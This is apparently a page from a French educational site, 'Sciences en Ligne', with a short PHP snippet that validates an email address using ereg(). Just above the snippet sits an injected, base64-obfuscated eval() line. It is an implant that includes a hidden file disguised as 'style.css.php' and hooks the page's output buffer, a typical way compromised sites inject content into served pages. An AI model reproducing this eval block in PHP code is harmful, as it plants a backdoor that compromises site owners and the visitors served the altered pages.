Bienvenue sur Sciences en Ligne ...

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9tbnQvMTY3L3NkYi9jLzQvcHJlcGFtcC9kb2NzL04uYXZhbmNlZXMva2l0X1Bob3Rvcy9zaXRlX2ZsYXNoL2FkbWluL2xpYnMvYW1mcGhwL2FtZi1jb3JlL2FkYXB0ZXJzL2xpYi9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
<?php
// Format 
$format	= !(ereg(".+(@.+)(\.[[:alpha:]]{2}([[:alpha:]]?))$",$_POST['email']);
 
// Faisons un test
if($format)
	echo "Email non valide !";
else
	echo "Email valide !";
?>